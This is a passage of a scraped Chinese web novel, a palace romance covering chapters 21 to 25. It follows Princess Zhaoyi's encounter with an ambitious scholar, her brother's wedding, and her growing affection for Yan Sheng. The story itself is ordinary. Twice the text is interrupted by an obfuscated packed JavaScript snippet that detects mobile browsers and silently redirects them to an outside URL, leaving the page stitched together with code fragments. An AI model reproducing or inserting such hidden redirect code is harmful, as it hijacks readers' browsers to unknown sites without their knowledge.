;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720888|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔成济,乃西院学子,倾慕帝姬良久,不敢奢求帝姬青睐,但求帝姬能明白在下的一番心意。” 怪只怪平日里沈悠然贪玩不想让人跟着,身边竟连个拦人的护卫都没有。 平日里大家倒是能念着沈悠然帝姬的身份对她报以尊敬。 但此时,月色扰人,昏暗的灯光映照着让人只觉得多了几分醉意。 少年站在花灯之下,捧着自己的一片赤忱心,同倾慕的女子告白。 本就是慕少艾的年纪,对于情爱一事有一种天生的向往,就连课堂上夫子解析诗词里那些缠绵悱恻的爱情故事,都会带来隐秘的雀跃和心慌。 现下亲临这种场面,哪怕告白的和被告白的都不是自己,也会觉得阵阵悸动。 有人懊恼,有人羞怯,有人起哄。 但沈悠然只觉得为难。 她可是听说过,这些学子自尊心可重了,要是大庭广众之下被拒绝,也不知道会不会做出什么过激的事。 她有些犹豫,咬着下唇,看向乔成济的目光里好似有很多话要说。 清风拂过,被扎成了莲花模样的花灯似乎也想要窥探一下这爱意,互相推搡着向前。 烛光落在沈悠然脸侧,影影绰绰之间让这份犹豫有显得多了几分暧昧。 沈煦站在台阶上,眼神冰冷,只一心想要让人将这叫做乔成济的学子好好打探一番。 他倒想要看看,是什么人敢打他家昭懿的主意。 严晟看着好友恨不得撸起袖子将那人打一顿的做派,到底还是存了些理智。 既是沈煦的身份不合适,也是自己的身份不合适。 他抬头看了眼一旁的刻漏。 “殿下,此时天色已晚,若是再晚些宫门下了钥,怕是又要让宫人们折腾一番了。” 沈煦顺着他的动作看了一眼,算了算回宫的车程。 书院离得远,再加上今日人多,为了照顾沈悠然又是坐马车来的,太晚回去怕是会在门外耽搁太久。 原是不着急的,但此刻沈煦只觉得该叫上沈悠然回宫了。 如此碍眼的场面,反正他是不想留在这继续看了。 他自诩虽然没有刑部那些大人们那般只一眼就能看得出对方是什么人的火眼金睛,但他直觉眼前的这个人并非表面透出来的那副纯良。 眼前这个人若是真的心悦皎皎,是断然做不出这种大庭广众之下递情诗让皎皎被人当做戏看的事。 而且最为重要的是,旁人不熟悉可能察觉不出,但作为亲哥哥,沈煦轻易就从沈悠然的眉眼里看出了她此时并非欣喜。 沈悠然高兴的时候,其实是会眼尾向下,看起来总是让人想要忍不住妥协。 她惯是喜欢在父皇和母后面前为自己争取一下无伤大雅的小利益,朝着沈煦炫耀的时候,又是另一幅得意模样。 而不是像现在这样轻咬着下唇有所顾虑。 虽然不知道让沈悠然犹豫的原因,但他身为哥哥,总归是该替妹妹解围的。 “昭懿,我们该走了。”他蓦然开口道。 22. 第 22 章 乔成济也是听书院的同窗说,今年昭懿帝姬也会参加诗会。 他家就住在稍远的村子上,家境虽算不上泼天的富贵,但也是村子上数一数二的富足人家。 他的祖父还曾是一位秀才,是有朝廷颁发的减免赋税的文书,不仅不用下地劳作,还会被人们叫做一声“秀才老爷”。 乔家祖父是个有自知之明的,明白自己比不得那些书香世家的子弟有门路,也比不上那些富绅家中有钱供后代读书,有了秀才之名后便不再继续苦读,在村子里办了个私塾。 周遭的村名们见他寒冬酷暑都不用在田地里辛苦,也是知晓了让儿女读书的好处,村上的学童想要启蒙都会送到乔家的私塾上。 乔家一年到头束脩钱也能收到不少。 作为乔夫子的孙子,乔成济从小没少收到村里那些人的优待,村里的孩子们也被家里人教导过不可与乔成济作对。 是以,在他还是乔夫子的孙子时,他的生活完全是顺风顺水。 虽然说自己没本事再继续考科举,但乔家祖父也并不是不明白若是能继续读书将来才能出人头地的道理,是以还是坚持将乔成济送到了宣阳城外的集英书院。 好在乔成济也算是继承了他读书的本事,比他那个好吃懒做的爹强,靠着自己考上了集英书院。 但是山外有山,成为集英书院的学子之后,乔成济彻底意识到了一件事情——别说东院了,光是西院这边,他的家世也仅仅算个中流。 就比如他的同桌,家中在宣阳城里有三家绸缎铺子;又比如坐他前面那个总是惹夫子生气的小子,父亲常年给王府里的贵人供酒。 乔成济仅有一个当过秀才的夫子祖父,钱、权,统统不拔尖。 渐渐地,乔成济在这种环境里,知识没学进去多少,倒是更加见识到了权势的魅力。 他毫不掩饰自己那颗想要往上爬的心思。 甚至于一般的官家小姐还入不了他的眼,要爬,他就要爬到最高的位置。 他也不是完全没有自知之明的,论家世,他输得一塌糊涂;论外表,他虽皮肤白净,对付一般的官家小姐也就罢了,但想要靠容貌入帝姬的眼,还是不够看。 所以他只能另辟蹊径。 帝姬久居宫中,想必平日里只见过那些高门大户里的男子。 这段时日他也算是看的明白,越是显赫的家族,越讲究颜面,做事都喜欢只做七八分,剩下的让人猜。 这么做虽是可以给自己留后路,但这样遮遮掩掩的,反倒让人猜不透心思。 所以他不能学那副贵公子们的做派,他需要让帝姬记住他。 首先得大胆地表明心意,但又不能太孟浪,免得让帝姬觉得他太过风流。 当看见昭懿帝姬并未直接回绝的时候,乔成济心中满是得意。 果然,虽是帝姬,但也是个女子,只要稍微勾勾手指…… 就在他沉浸于自己的幻想之时,突然响起了一个男子的声音。 “昭懿,我们该走了。” 乔成济第一反应是恼怒,他还在等着帝姬的回应,哪怕今日没有机会更进一步,但至少是让帝姬记住他这个人了,往后都同在一个书院里,有的是机会再制造偶遇。 他打听过了,帝姬仁慈,帝后和太子殿下也不是那种残暴的人,他不过是大胆说出了自己心中所想,又未曾死缠烂打做出逾矩之事,是断不会受到责罚的。 但这样的谋划却被其他人打断了,他如何不气恼。 或许因为自己就是这样的人,在他看来,今日所有想要接近帝姬的人都怀揣着和自己一样的心思。 他怎么能容忍自己想走的道被旁的人抢先了呢。 美梦被戳破让他太过恼怒,他甚至都没能再第一时间反应过来,这世间又有几人敢直呼帝姬称号。 乔成济的脸色阴鸷,寻着说话人声音的方向转过头去,率先对上了一双眼神。 来人比他高,又站在台阶之上,看向他的时候眼神自然地向下,目光像是缚网一般沉沉地笼罩下来。 乔成济感到一股无形的压力。 原本还是怒气冲冲的,但只是一个眼神就让他觉得气短,只好下意识地挺直了脊背,让自己看起来更有气势些。 但又发现即便是这样,他也需要微微仰视才能和对方的目光对上。 那目光在他身上停留了片刻,缓慢而刻意,像是在打量一个待售的商品,挑剔着想要找出优缺点。 乔成济在这很微妙的气氛里,从对方的眼里看出了一丝的轻蔑。 他怒从中来,在集英书院求学的日子里,他看过好几次类似的目光,那些权贵富商家的少爷们,总是喜欢这样看人。 这让他含垢忍辱的目光。 他不知道来人是谁,但好歹还不算是蠢得没边,又往左看了一眼,发现了一个在书院里无人不知的人物——太子殿下。 二人挨得很近,肯定是认识的。 一想到这里,那刚刚和他对视的人身份也不难猜,便是严太傅的独子严晟。 “原来是太子殿下和严公子,”他收起那副怒容,装模作样鞠了一躬,“在下乔成……” “昭懿,我们该回去了。”沈煦又再重复了一遍。 本就对乔成济拦人的行为感到不悦,现下又隐约察觉到他情绪的变化,沈煦更加不愿让妹妹和他有牵扯。 乔成济的脸色瞬间变得青紫,满是被忽视的难堪。 觉察到周围的窃窃私语,沈悠然看着脸色略带愠怒的哥哥,其实有些东西还不太明白,但还是提着裙摆回到了沈煦的身边。 也终于能够松口气了,至少不用再想借口如何推脱。 毕竟对于乔成济这样大胆的举措,她一点也没有高兴的心情,还要顾虑他的颜面。 “哥哥,我们先去找清清吧,然后回去的时候如果路过……” 围着看热闹的人已散去,沈悠然的话也只剩下了尾音,乔成济孤身一人站在原地。 帝姬口中和他没有半分关系的闲谈消散在风里,他咬着牙,终是忍不住握紧了拳头。 * 回城的马车上,她还是忍不住好奇向哥哥打探。 “哥哥,你同那个人有过节?” 那人也不眼熟,看穿着打扮也不显富裕,但又看哥哥的模样也是恭敬居多,实在想不出哥哥为什么会隐约有些怒气。 看着妹妹歪着头打量的模样,沈煦心中长叹一声。 昭懿年幼,还不懂男女之间的那些事,他是既欣慰又担忧。 出于兄长的身份,他语重心长地劝慰道:“昭懿啊,你可别被那些不知道从哪里冒出来的臭小子给骗走了。” 从小到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725262|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大,昭懿还是第一次遇见这般“率性而为”的人呢,他怕昭懿觉得新鲜,然后被骗。 为了让自己这不谙世事的妹妹知晓事情的严重,他皱着眉在脑子里搜刮着从前听说过的那些坊间传闻故事。 但沈煦本也对这些也不感兴趣,向来都是只听过一两句,故事也记得个虎头蛇尾的。 从他嘴里讲出来,莫名地变了个味。 “哥哥从前听说有个州县的富商千金就是被路过求学的书生迷住了,然后、然后就是被这个书生骗得家破人亡、再然后就……然后还被书生砍掉了双臂双腿,成了人彘……” 他余光瞥见沈悠然眉头一皱,这才恍悟过来自己编过了头,硬生生地把一个坊间传闻改编成了刑部案件。 “总之,这种来路不明的人,还是少接触为好。”他总结道。 狡黠如沈悠然没被吓到,但下意识地想要跟哥哥对着干,“那意思是来路明的人就可以多接触接触吗?” 沈煦回想了一遍沈悠然身边的人,还是摇了摇头。 “那也不见得都是好人。”譬如庄绪。 季清清自打知晓沈悠然的心思后,就有满肚子的话想要问,却为了给好姐妹创造独处的机会硬生生忍住了。 是以她倒是不知道乔成济的事,虽然听得云里雾里的,但还是误以为沈煦是知道了沈悠然心悦严晟,但不同意。 但她瞧着严晟除了人冷了点,倒是没有什么大毛病,最重要的是好友喜欢。 那她可不能眼睁睁地看着有情人被家人拆散,大着胆子跟沈煦唱反调。 “太子殿下,那倒也不是的。” “至少我看着,严公子就不错呢。” 沈煦感叹着自己幸好此时没有饮茶,不然坐在对面的严晟就该遭殃了。 他也是没想到,妹妹的这个朋友居然会喜欢严晟这种冷冰冰的人。 看向季清清的时候,难免觉得有些惋惜。 好好的人,怎么就看上严晟了呢? “阿晟人倒是不错,”沈煦没好意思拆好友的台,“就是性格太冷了。” 话刚说出口,沈煦就有些后悔。 他如今大婚在即,和蔺朝暮情谊正浓,自然是觉得心悦之人相伴身侧是一件美事。 严家人丁凋零,偌大一个宅子里平日里只有严太傅和严晟二人相望无言,他也是希望好友能够找到可以携手一生的人。 虽是对季清清接触不深,但沈煦坚信,能和自家妹妹玩得好的,也不是什么太差的人。 他可不能如此打击人家小姑娘的一片赤诚之心。 “但阿晟也很好拿捏的。” “他这个人,吃软不吃硬,不要和他对着来;看起来拒人于千里之外,但实际上正经的请求,他都会答应……” “且他这人不大听得出女子的言外之意,与其同他拐弯抹角,不如直言相倾。” 对于跟严晟的相处技巧他倾囊相授,恨不得手把手教季清清如何跟严晟更进一步。 季清清摸不着头脑,趁着沈煦说到兴头上的时候,侧过身子跟沈悠然使眼色。 “你……太子他……这是怎么了?” 沈悠然憋着笑,听得倒是认真。 只有严晟坐在角落里,忍不住话到嘴边还是没能开得了口。 这群人……是以为自己不在吗? 23. 第 23 章 四月初二是钦天监上下观星象推衍后得出的吉日,春光正盛宜嫁娶。 宫中从前一日就开始忙了个团团转,祭祀宗亲也是大事一件。 等到初二这日,更是直接用烛火照亮了天际。 沈悠然其实更想去蔺家凑热闹,她还从未参加过这种热闹场面呢。 帝后两边加起来,沈悠然也就只有沈沁这么一个堂姐,自己又还未曾婚配。 听季清清和青黛说过,寻常人家婚嫁,接亲算得上是最热闹的环节。 新郎官首先要做上一首催妆诗催促着新妇出门,女方的宾客们也会拦在新妇闺房前“为难”新郎官,不能让他轻易地娶走女方珍贵的姑娘。 而作为男方的傧相,身手矫健的自会帮着新郎官以武力“突破重围”,机灵点的也会想着法子帮新郎官智取解决女方宾客的刁难。 实在没办法的,还可以多多撒些喜钱,趁着宾客们哄抢的功夫,便能见到新妇。 届时无论是大人还是小孩都会涌上前去,只为凑个热闹沾沾喜气。 哪怕是平日里有龃龉的人,在此刻也会忘掉平日里的那些烦心事,一心沉浸于喜事当中。 但沈悠然是新郎官的妹妹,理应是要在宫中等着哥哥将嫂嫂带回来的。 否则,新妇闺房内若是安插这么一个男方的“卧底”,怕不是新郎官一进大门,闺房的门就从里面打开了。 于是沈悠然现在就只能坐在椅子上看着自己那从今晨起来就浑身冒着傻气的哥哥。 沈煦今日穿了一身绛纱袍,上面用金丝绣着云龙纹,浑身的贵气怎么也遮掩不住,和他平日里喜欢穿的月白比起来多了许多的朝气,整个人都被喜气包裹着。 因为反差太大,沈悠然也是在这个时候才有了哥哥要成亲的实感。 她今日一早就来了沈煦自由居住的永安宫,虽然身为帝姬凡事都不用她自己动手,但沈悠然还是想要帮着哥哥办好他的婚事,指挥着宫人贴喜字、又或者是整理四处悬挂着的穗子。 她希望蔺姐姐知道,他们全家都对她的到来很高兴。 按照大盛礼制皇子及冠之后应该出宫建府,但盛兴帝子嗣不丰,后宫也仅有赵皇后和已逝的庄贵妃。偌大一个皇宫多的是空荡的宫殿,便以无须劳民伤财再建府邸为由拒绝了给二位皇子立府的提议。 是以,无论是沈煦沈照,还是身为帝姬的沈悠然,在宫中都有自己的家。 不过今晚就不同了,今晚之后,成了家的沈煦就要和新婚妻子住在东宫。 虽然那边才是正经的婚房,但永安宫同样需要好好装扮一番。 十来个绣娘用红线绣出的百喜图占据了整个床头,床位还摆放着金色的摆件,是被并蒂莲围绕着的鸳鸯形象。 金丝织就的龙凤帐在满殿的龙凤烛火带来的光芒下熠熠生辉,上面的牡丹祥纹投射在红地毡上,一直从喜床绵延到了殿门口。 殿内宫人穿梭着,还在不断地往床榻上抛撒着红枣花生桂圆莲子,在床榻旁的小几上摆着成双成对的石榴。 东西都是昨日就备好的,但为了避免出什么差错,领头的侍女还是带着大伙儿仔仔细细的又核对了一遍。 听到桂圆数量不成对,沈悠然还好心“帮忙”解决了一个。 虽是忙碌,但大家脸上也都是喜气。 太子平日里就待大家不薄,大家自然也会因他的喜事而感到高兴,更别提即将进门的太子妃也是个顶顶好相与的,往后再生几个太孙,就更加热闹了。 沈悠然看着,莫名也觉得眼热,下意识地就去寻找严晟的身影。 作为多年好友,严晟今日是沈煦的傧相之一,也依照习俗穿上了绯色长袍,正站在礼官的旁边说话,兴许是在核查流程。 也不知道是严晟的衣裳太过鲜亮,还是整个殿中的喜烛烛火太盛,映照着严晟整个人都多了些艳色。 看起来就像是一个冷冰冰但勾人的妖精。 沈悠然撑着脸,又在心底把自己夸赞了一番——真好看啊,真不愧是本帝姬看上的人。 兴许是沈悠然打量的目光太灼热,站在殿外的严晟有所察觉,朝着她的方向看来。 沈悠然也不躲闪,大大方方地同他回望,甚至还对他招了招手。 严晟垂眸同礼官说了些什么,然后进了殿。 “昭懿帝姬,可是寻在下有何要事?” 因为照顾沈悠然坐着,严晟半低着头。 但沈悠然还是觉得不够,勾着食指示意他半蹲下来,“这里好吵,本宫听不见。” 严晟犹豫了半息,还是听话照做。 “严晟,你今日是哥哥的傧相,一定要帮着哥哥顺利接到嫂嫂啊。” “好。” “若是女方宾客拦路,你一定要护着哥哥冲出去。” “好。” “如果有姑娘跟你搭讪,你可不能回应。” “……好。” “你也成个亲好不好?” “好……不好。” 看严晟轻蹙眉头,沈悠然带着使坏得逞的笑直勾勾地盯着他。 严晟无奈摇摇头,“看来调侃在下会让昭懿帝姬觉得开心。” 沈悠然笑得半依在椅子上,她发现让严晟吃瘪好像格外让她开心。 还想要再说些什么的时候,沈煦开了口。 “阿晟!吉时快到了。” 其实礼官还并未催促,但沈煦第一次成亲,他心里紧张。 万一路上有什么挡路耽搁了,万一仪仗脚程太慢了、万一、万一…… 他紧张地怕路上出状况,不想误了吉时,便想着早些到总是不错的。 于是自己一收拾好,就连忙召集着所有的人准备出发。 也来不及去看好友此时几乎是单膝跪在自己妹妹面前,而妹妹正笑得一脸灿烂。 再三确认过无误后,前往殿前翻身上马,礼部的人唱着祝词,仪仗队开道,迎亲队伍紧随其后,顿时锣鼓喧天,一行人浩浩荡荡朝着蔺府的方向走去。 徒留沈悠然在原地惆怅着不能一道前去,她待会儿还得回栖梧宫等着哥哥将嫂嫂接回家呢。 但沈悠然不知道的是,寻常人家的婚礼是寻常人家的,皇家的婚礼又是另外的模样。 沈煦贵为太子,哪怕岳丈岳母算是长辈,也丝毫不敢为难他,还要做出一副万分欢喜的样子,以示感恩皇家恩赐,行着礼将太子一行人迎 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有他这番话,蔺家夫人这才堪堪止住了泪,若不是想着太子和善,帝后也不是那种会苛责儿媳的人,她断然是不会答应这门亲事的。 “去吧,好孩子,去吧。”为了怕自己再舍不得,蔺家夫人先放开了女儿的手,转过身去不敢亲眼看见女儿离家。 沈煦感受到身边的人身子耸动似是在抽噎,握紧了她的手,一路护送着上了花轿,看见轿夫四平八稳地起了轿,才放下心纵身上马。 按照礼制,他们需要绕宣阳城一圈后回到栖梧宫拜见帝后,然后再回到东宫,这场婚事才算完。 但已经接到了自己的新妇,沈煦脸上的笑容就没有消散过,这在严晟看来是有点傻气的。 百姓们都知道今日是太子殿下的大婚,平日里也听说过太子的贤名,纷纷挤上两侧街道,欢呼着恭贺太子新婚,顺便再得些赏钱。 沈煦单手捏着缰绳,乐呵呵地颔首接受百姓们的好意。 严晟和太子幼年相识,因为是皇室子弟,又是极有机会被册封为太子,很小的时候周围的人就教导着要让他成为一个稳重的人。 严晟也一路见证着他成为这样的人。 兴许上一次看到他笑成这样还是小时候两人偷摸着在下学之后去买了两只斗蛐蛐。 严晟其实也是为沈煦感到开心的,但他还是不解。 “许久没见殿下笑成这样了。” 沈煦拍了拍严晟的肩,以一份过来人的姿态同他交谈。 “阿晟,你不懂。” “我做梦都想娶朝暮回家,现下总算是,美梦成真了。” 看着严晟的目光没有丝毫的波动,沈煦也知晓,这个从未跟女子有过半分暧昧接触的好友,是不会懂那种感觉的。 “等你到了成亲的那日,你就明白了。”沈煦说道。 成亲? 严晟没想过成亲的事。 但也不知道为何,脑子里闪过的是昭懿帝姬拿他取乐的话。 他摇了摇头,暗道或许没有那一日。 24. 第 24 章 沈煦同蔺朝暮一道拜过天地、祭过先祖、叩谢父母之后,这亲事就算成了。 在喜婆和宫人们的簇拥下,一身喜服行动不便的蔺朝暮率先回了永安宫。 其余的宗亲和近臣们,则是前往专门用于举办宫宴的长乐殿。 沈悠然站在赵皇后的身侧,看见两波人群在祭祀大殿门口如被风吹散的流云一般各自去往不同的方向。 她摆摆头,小声同赵皇后嘀咕着,“呀,成亲可真是遭罪呢,瞧着哥哥同平日里也没太大差别,嫂嫂就要穿着那般繁复的喜服,头上还戴着那么大个金冠,还有我瞧着都觉得脖子酸呢。” “这般便也就算了,自己的大婚,反倒需要一个人孤零零待在房中,好生可怜。” 赵皇后拍拍她的手背,眼神示意她如此场合不可胡说。 沈悠然吐吐舌头,但不知悔改。 “往后我成亲,定不会让自己这般累。” “我只想要简简单单的,也不用什么金银织就的婚服,更不要华美的头冠。到时候就寻个景色极好的院子,请上三五好友,大家聚在一起一块儿吃顿酒,喝个不醉不归。” “我也不会让人把我先送回去,我自己的婚宴,怎的我还不能参加呢?” 赵皇后依旧是笑着,没去指责沈悠然的离经叛道,倒是同她调笑。 “成,那母后就让你父皇提前去给你买个风景极好的院子,再给你埋一个院子的酒,让你到时候不醉不归!” 若不是有宗亲大臣们在场,沈悠然此时定会靠在赵皇后肩头撒着娇说母后真好。 但二人都明白,这些不过逞一时嘴快,沈悠然身为帝姬,婚事又怎可如此简便。 思及此,沈悠然不禁叹了口气,“真想让父皇下令让往后的婚事都从简。” 赵皇后神色变得严肃,摸着沈悠然的头,语重心长地说,“皎皎,你父皇当然有下这个命令的权利,就如同你有想要简单婚事的权利,更如同有人想要隆重盛大的婚宴的权利。” “为帝者,最该做的不是让百姓如何,而是能让百姓选择如何。” 沈悠然隐约觉得有什么东西在萌芽,但又捉不住,只似懂非懂地点了点头。 “好了,你去让让小厨房给朝暮备些糕点吧,今日大婚,新妇不得用膳,咱们可别把人饿坏了。” 居然不让新妇用膳? 沈悠然咋舌,原来成亲还有这种如此不顾人情的规矩。 别说是让她饿一天了,哪怕是早膳不如人意,她一整天都会觉得心情烦闷。 她连忙辞别赵皇后,往永安宫的方向走去。 只走了三两步,就被人叫住了。 “昭懿帝姬留步。” 沈悠然脚上动作一顿,这是严晟的声音。 她转过身去,看见一身绯袍来不及换的严晟,一个食盒挂在他的指尖,四平八稳,如同他这个人一般。 “殿下嘱咐在下,烦请帝姬将此物转交太子妃。”严晟说道。 沈悠然打开食盒一看,里面是一碟子蜜糕,甜腻腻的香气从缝隙中飘出,充斥着鼻尖。 上面还印有“珍记”的字样,是上次那家新开的铺子。 看哥哥今日那傻乎乎的模样,竟也能做出如此贴心之事。 沈悠然信息,得亏他如今人在长乐殿,不然可得好好打趣他一番。 “本宫知晓了,”沈悠然下巴微抬,“但本宫不想拿,你同我一道拿过去吧。” 严晟似乎早已料到沈悠然会如此,神情没有丝毫的意外,提着食盒跟在沈悠然身后。 今日宫中大喜,沈悠然这个皇宫里的主子也该盛装打扮,在偌大的衣柜里细细挑选了半刻钟的功夫,选了一件绯色的长裙。 到底今日唱着重头戏的人不是她这个帝姬,着绛红恐抢了蔺朝暮风头,便选了个相近但又不同的颜色。 只是早晨的时候未曾细想,如今二人站在一起,倒让人觉得是刻意打扮相似。 沈悠然谨遵哥哥的教导,直言相倾嘛,她会的。 “严晟,你瞧,今日我们的衣裳看起来好般配。” 严晟沉默半晌,才蹦出一句话,“因为我今日是殿下的傧相,傧相理应着绯袍。” 沈悠然再接再厉,“那你瞧,秦弘盛同我就不般配。” 秦弘盛是刑部尚书秦仁家的公子,也是今日的傧相之一。 或许是因为常年在刑部那种地方待着,太过和善不足以震慑住那些罪犯,秦仁本人看起来就凶神恶煞像是可以直接把画像挂在门口辟邪的那种,生的那个儿子不笑的时候看起来也有些骇人。 想到秦弘盛的模样,严晟竟也觉得似乎自己与帝姬更配。 也不知道为什么,严晟嘴角不在紧绷,微微上扬起了一个几乎看不见的弧度,连他自己都未曾察觉。 但沈悠然却发现了。 “哦!你笑了哦!”沈悠然语气笃定,“那你也不否认是吧?” 严晟侧过脸去,没有回答。 沈悠然蹦跶着笑出了声,“哎呀别不好意思嘛!这就是事实啊。” “昭懿帝姬莫要胡说了,若是落在旁人耳中,有损帝姬清誉。”严晟一板一眼的回复。 沈悠然撇撇嘴,也不意外他的回答,只觉得他是嘴硬。 “总有一日你也会觉得我们很相配的。” 她语气轻松,不像是在同严晟说话,但又刻意让他听见。 严晟垂眸看了一眼沈悠然发间叮当作响的珠串,恍若未闻。 * 沈悠然心里惦记着蔺朝暮大半日水米未进,打算带着严晟抄小道。 她自幼在宫中长大,这宫里就没有她不熟悉的地。 小道要路过一处小的御花园,因为院子不大,平日里倒是没什么人来此赏花。 但今日,沈悠然竟意外在此听见了谈话声,还隐约有“太子”“太子妃”一类的字眼。 她连忙拽着严晟的手腕,快速蹿进了旁边的灌木丛中蹲着。 倒是要好好听听,是什么话,非要躲在这偏僻小道上来说。 说话的是两个女人,沈悠然通过灌木之间的缝隙瞧见了宫装的裙摆,其中至少有一个人是宫里的侍女。 “婉儿姑娘,你给的这些银钱,就只够打探到这点消息了。你要知道,随意探查殿下行踪,那可是要掉脑袋的。” 对面那人跺了跺脚,语气急促,“当初咱们可是说好了的,五十两银子,你想法子将太子引来此处,怎的成了打探消息了?” 宫人打扮的女子嗤笑一声,“五十两银子就想让太子听我的话来见你家姑娘,你是太小瞧太子,还是觉得我一个小小的外殿侍女能有如此本事?”< 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果然偷听这种事,做起来就是心虚,沈悠然心想。 方才为了不打草惊蛇,沈悠然穿过拱门后直接就是就近找了个能藏人的地方。但这又不是专供人行走的小道,沈悠然的身形勉强才能站定,严晟一个九尺男儿,完全就是窝囊地蜷缩着。 沈悠然起了坏心,假装没站稳,整个人往他怀里扑。 严晟顿时心一紧,手上拎着食盒又来不及放,只能单手揽着沈悠然的腰,拉着她往墙上靠。 再回过神来的时候,严晟几乎完全将沈悠然禁锢在墙边。 沈悠然感觉到自己额间有一阵温软的触感,她一时好奇,抬眸往上看,却发现一道朱红色从眼前闪过。 是严晟的唇。 意识瞬间回笼,沈悠然这才明白发生了什么,连忙贴着墙转了个身。 她是想要逗弄一番,但也没想过上来就这么出乎意料,直接就是如此亲密的接触。 沈悠然只觉得额间,不,不只是额间,她觉得自己整个人都快要燃了起来,脸上一会儿烫一会儿凉的。 若是她会变脸,此时肯定她的脸肯定是五颜六色。 “昭懿帝姬……” 严晟自觉冒犯,想要开口致歉。 但奈何方才还胆大包天的沈悠然此时恨不得自己的头是侧着长的,不敢让严晟看见半分自己的羞意。 “别、你、你别说话了……别让人发现,嗯,别让人发现。”沈悠然压低了声音命令他。 但断断续续又重复的话,还是暴露了她此刻的紧张。 不仅如此,严晟还发现,沈悠然的双脚正在缓慢挪动着,似乎想要跟严晟拉开距离。 看到这里,严晟终于是忍不住轻笑出了声。 原来平日里看起来天不怕地不怕,调侃起自己来的昭懿帝姬,实际上只需要一个连吻都算不上的触碰,就会变成炸毛小猫。 严晟觉得心情非常的好,连带着这狭窄的灌木丛,都让他觉得别有一番景致。 他微微屈膝,凑到了沈悠然的耳侧低语。 “那昭懿帝姬可要藏好了。” “不然待会儿,她们就会发现,这里有一只红脸的……” 小猫。 25. 第 25 章 沈悠然只觉得又羞又气。 羞是因为严晟的调侃。 气是因为她发现自己并不厌恶这样的调侃。 她只好狠狠瞪了严晟一眼来发泄自己不知何处发泄的混乱心绪。 “红什么?哪有红,衣裳颜色衬得脸红罢了,你们男的就是不懂。” 实在是怕自己如果再笑出来会惹毛沈悠然,严晟递了个台阶下。 “嘘,别被发现了。” 沈悠然这才又将注意力放回两人身上。 也不知道中间又说了什么,两人的态度更加的剑拔弩张。 婉儿早已又站了起来,从沈悠然的角度,只能看见她带有泥印的裙摆。 “你个蠢婢,倘若日后我家姑娘进了东宫当主子,我定要让姑娘将你杖毙!” “你可知今日太后娘娘都未曾亲临,想必是对这桩婚事极为不满。想当初陛下也是同皇后娘娘年少情深,婚后没多久不也是太后娘娘做主娶了庄贵妃吗?” “我家姑娘的祖父,那可是太后娘娘的外祖的亲孙子,如何就做不得……” “啪!” 一声清脆的声响打断了婉儿的话,也打得沈悠然一愣。 “啪!” “啪!” 又是连续的两个巴掌,或许是看见婉儿说不出话来,那侍女直接妙语连珠。 “哎呀,婉儿姑娘,你这是失心疯了啊,怎的还敢编排起了陛下皇后,还敢污蔑太后,不行不行,咱们相识一场,我可不能见着你被人拉去砍头啊,我得帮帮你,让你清醒清醒。” 说完,又是两个巴掌的声音。 沈悠然差点没忍住笑出声。 她听明白了,今日哥哥大婚,连一向奉行节俭的盛兴帝也认为越是热闹越好,凡在宣阳城内的五品以上的官员,皆被邀请赴宴。 她盘了一下关系,这位不知道名字的姑娘兴许是要叫一声表姐妹,因为从未听说过这号人物,沈悠然便猜测要么是她家世不丰,要么就是皇祖母也不大来往的亲戚。 那位姑娘或许也深知自己家的背景不足以在今日之后再有机会见到太子殿下,便动了心思趁今日制造机会和太子独处,幻想着以后能进东宫。 也不知道是她主仆二人太蠢还是太单纯,竟想着用钱收买宫中侍女,也是老天有眼,让她们遇见了个蛮横贪财讲歪理的,被坑了一笔钱不说,还得不到任何的好处。 沈悠然简直想要拍手叫好。 那侍女也深知自己做的不是什么好事,趁着婉儿被她几个巴掌打得发懵,连忙揣着银子就跑了。 只剩下婉儿在原地愣了好半晌,然后也跺着脚哭哭啼啼地跑走了。 等到外面再没了动静,沈悠然才终于是笑出了声,撑着背后的墙想要站起来。 只是脚上传来了阵阵又刺又麻的痛觉,这才让沈悠然意识到,因为蜷缩地太久,自己腿麻了。 “啊、啊……”沈悠然眉头紧皱着朝严晟伸出了手,“快拉我一把。” 刚刚笑得有多开心,现下就有多痛苦。 严晟惊讶于沈悠然的变脸能力,手却早就伸出去握住了沈悠然的手腕。 因为整个人还半蹲在地上,沈悠然伸手的时候,袖口自然而然地下落,露出一截如新玉般白皙的手腕,严晟握上去的时候,都不敢太过用力,怕折断。 虽是走科举路子的文官,但严晟也是自幼习武,手上带着一层薄茧,磨砺着沈悠然娇嫩的手腕。 他只能克制着让自己轻点,再轻点。 若是沈悠然能看见他此时隐藏在眼眸里的情绪翻涌,定然会好好再打趣他一番。 但她现在心里,只有那位皇祖母的外祖的亲孙子的亲孙女。 也没注意到明明她已然站了起来,但严晟也还没放开她的手。 等缓过劲来,沈悠然顺手反握住严晟的手腕,拽着他快步往前走。 “走走,我们快走,别让嫂嫂饿着了。” 手中的食盒被拽得晃晃悠悠,也不知道像是谁被撩动了的心弦。 * 严晟一开始以为他要站在永安宫的门口等一会儿,才会等到沈悠然出来。 但他静心凝神的书籍都还未曾默念几遍,就看见那道绯色身影蹦跶着出了永安宫的门。 如同一只身上披着霞光的乳燕,浑身都是鲜活的气息。 “我们快走!”沈悠然神色匆忙,“别去晚了人走了。” 因为共同撞见了那二人的谈话,沈悠然俨然已经将严晟看做了自己人。 